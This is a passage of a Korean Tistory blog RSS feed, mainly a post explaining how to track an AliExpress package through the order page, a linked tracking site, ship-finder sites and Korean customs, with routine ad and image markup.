&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;쿠팡 게시글 작성 시, 아래 문구를 반드시 기재해 주세요. &lt;br /&gt;&quot;이&amp;nbsp;포스팅은&amp;nbsp;쿠팡&amp;nbsp;파트너스&amp;nbsp;활동의&amp;nbsp;일환으로,&amp;nbsp;이에&amp;nbsp;따른&amp;nbsp;일정액의&amp;nbsp;수수료를&amp;nbsp;제공받습니다.&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>리뷰</category>
      <category>가성비</category>
      <category>기계식키보드</category>
      <category>백축</category>
      <category>사무실용</category>
      <category>저소음</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/174</guid>
      <comments>https://chmodi.tistory.com/174#entry174comment</comments>
      <pubDate>Thu, 29 Dec 2022 18:28:13 +0900</pubDate>
    </item>
    <item>
      <title>[알리 익스프레스 배송 조회] 내 물건 어디까지 왔을 까?</title>
      <link>https://chmodi.tistory.com/173</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;얼마전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중국 알리익스프레스에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스노우 보드 왁싱, 엣징 세트를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구매한 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배송이 업데이트되지 않아&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 선박까지 찾아서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배송 상태를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인한 방법 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span&gt;# AliExpress에서 배송 조회&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;알리 익스프레스에서도&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;간단하게&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;배송 상태와&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;송장 번호를&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;확인할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;알리 익스프레스 배송 조회&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 홈 &amp;gt; 계정 &amp;gt; 주문 &amp;gt; 배송 추적&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;823&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ABh34/btrSL07HQVa/v7hQ13Z6azRvqXTx2Ot00K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ABh34/btrSL07HQVa/v7hQ13Z6azRvqXTx2Ot00K/img.png&quot; data-alt=&quot;알리 익스프레스 배송 조회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ABh34/btrSL07HQVa/v7hQ13Z6azRvqXTx2Ot00K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FABh34%2FbtrSL07HQVa%2Fv7hQ13Z6azRvqXTx2Ot00K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;419&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;823&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;알리 익스프레스 배송 조회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 알리 배송 상세 조회&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배송 추적을 클릭하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조금 크게 확인할 수 있으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;우측 상단&lt;/b&gt;&lt;/u&gt;에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;송장 번호&lt;/b&gt;&lt;/u&gt;를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;969&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzQ4Z0/btrSIPTXPaQ/xN9BZ50vsqZsmkc5Pm8xo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzQ4Z0/btrSIPTXPaQ/xN9BZ50vsqZsmkc5Pm8xo0/img.png&quot; data-alt=&quot;배송 조회 상세 페이지, 정보가 좀 부족하다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzQ4Z0/btrSIPTXPaQ/xN9BZ50vsqZsmkc5Pm8xo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzQ4Z0%2FbtrSIPTXPaQ%2FxN9BZ50vsqZsmkc5Pm8xo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;252&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;969&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;배송 조회 상세 페이지, 정보가 좀 부족하다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 연계된 사이트 조회&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알리 익스프레스의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배송 상세 페이지를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;봤으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;29일 물류 창고에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처리 중이라는 내용만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우측 상단에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;글로벌 익스프레스 트래킹&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과 함께 적혀있는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;송장 번호(트래킹 번호)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 클릭하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연계된 사이트에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조금은 자세하게 적힌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배송 조회가 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;711&quot; data-origin-height=&quot;365&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgbatM/btrSISpysZw/P4adpQFNI6YxfOxwqP497k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgbatM/btrSISpysZw/P4adpQFNI6YxfOxwqP497k/img.png&quot; data-alt=&quot;글로벌 익스프레스 트래킹 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgbatM/btrSISpysZw/P4adpQFNI6YxfOxwqP497k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgbatM%2FbtrSISpysZw%2FP4adpQFNI6YxfOxwqP497k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;257&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;711&quot; data-origin-height=&quot;365&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;글로벌 익스프레스 트래킹 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 이 사이트도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정작 알고 싶은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위치 정보를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제공하지 않았습니다 ㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;690&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Kr5ip/btrSL0zQduV/f1raWuTVdPkxZO3Ne6vLlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Kr5ip/btrSL0zQduV/f1raWuTVdPkxZO3Ne6vLlK/img.png&quot; data-alt=&quot;그래서 어디 있는 데...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Kr5ip/btrSL0zQduV/f1raWuTVdPkxZO3Ne6vLlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKr5ip%2FbtrSL0zQduV%2Ff1raWuTVdPkxZO3Ne6vLlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;351&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;690&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그래서 어디 있는 데...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;# 선박 조회 및 위치 찾기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해외 배송은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비행기나 배로 운송하지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AliExpress Standard Shipping이라면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배(선박)으로 운송합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 선박 조회&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 주문한 물품이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실릴 예정이거나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 실린 선박은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 사이트에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조회할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;Global Express Tracking&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- &lt;a href=&quot;http://exp.actcore.com/kact&quot;&gt;http://exp.actcore.com/kact&lt;/a&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;* 중국 내에서의 운송(육지)은 확인 불가&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;445&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYVgbL/btrSOxKIqPr/pgYuL1n5nfWJUUF9DHfK60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYVgbL/btrSOxKIqPr/pgYuL1n5nfWJUUF9DHfK60/img.png&quot; data-alt=&quot;배송 조회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYVgbL/btrSOxKIqPr/pgYuL1n5nfWJUUF9DHfK60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYVgbL%2FbtrSOxKIqPr%2FpgYuL1n5nfWJUUF9DHfK60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;232&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;445&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;배송 조회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사이트에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;송장 번호를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조회하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 배송 상태와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선박 이름,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운송 스케쥴 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 정보를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;756&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xCwPD/btrSQT7NNiL/TKLqSMuvOcJz01ksgxRkB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xCwPD/btrSQT7NNiL/TKLqSMuvOcJz01ksgxRkB0/img.png&quot; data-alt=&quot;다른 물건은 이미 한국인데...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xCwPD/btrSQT7NNiL/TKLqSMuvOcJz01ksgxRkB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxCwPD%2FbtrSQT7NNiL%2FTKLqSMuvOcJz01ksgxRkB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;394&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;756&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;다른 물건은 이미 한국인데...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 선박 위치 찾기&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞에서 이미&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한국 도착 날짜가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적혀 있지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금은 어디있을 까&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;궁금해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;찾아봤습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;선박 위치 확인 사이트&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- &lt;a href=&quot;https://www.shipfinder.com/&quot;&gt;https://www.shipfinder.com/&lt;/a&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- &lt;a href=&quot;https://www.marinetraffic.com/&quot;&gt;https://www.marinetraffic.com/&lt;/a&gt;&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 두 사이트 중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마음에 드는 곳에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 확인한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선박명을 검색하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;919&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clxBGE/btrSIQyBu4s/yBVnar9S7sd8J3K2E9IJck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clxBGE/btrSIQyBu4s/yBVnar9S7sd8J3K2E9IJck/img.png&quot; data-alt=&quot;Shipfinder 검색 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clxBGE/btrSIQyBu4s/yBVnar9S7sd8J3K2E9IJck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FclxBGE%2FbtrSIQyBu4s%2FyBVnar9S7sd8J3K2E9IJck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;467&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;919&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Shipfinder 검색 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;781&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m1xqj/btrSJmjBd85/50wmgH9HFFOcgxsNEGN5G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m1xqj/btrSJmjBd85/50wmgH9HFFOcgxsNEGN5G0/img.png&quot; data-alt=&quot;Marine Traffic 검색 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m1xqj/btrSJmjBd85/50wmgH9HFFOcgxsNEGN5G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm1xqj%2FbtrSJmjBd85%2F50wmgH9HFFOcgxsNEGN5G0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;397&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;781&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Marine Traffic 검색 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 한국에서 통관 조회&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한국에 도착하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;통관을 거치게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;짧아도 2~3일,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물품이 많아&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오래 걸리면 1주일도 걸리며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제 경험상&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;평택항보다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인천항이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 오래 걸렸습니다.&lt;/p&gt;
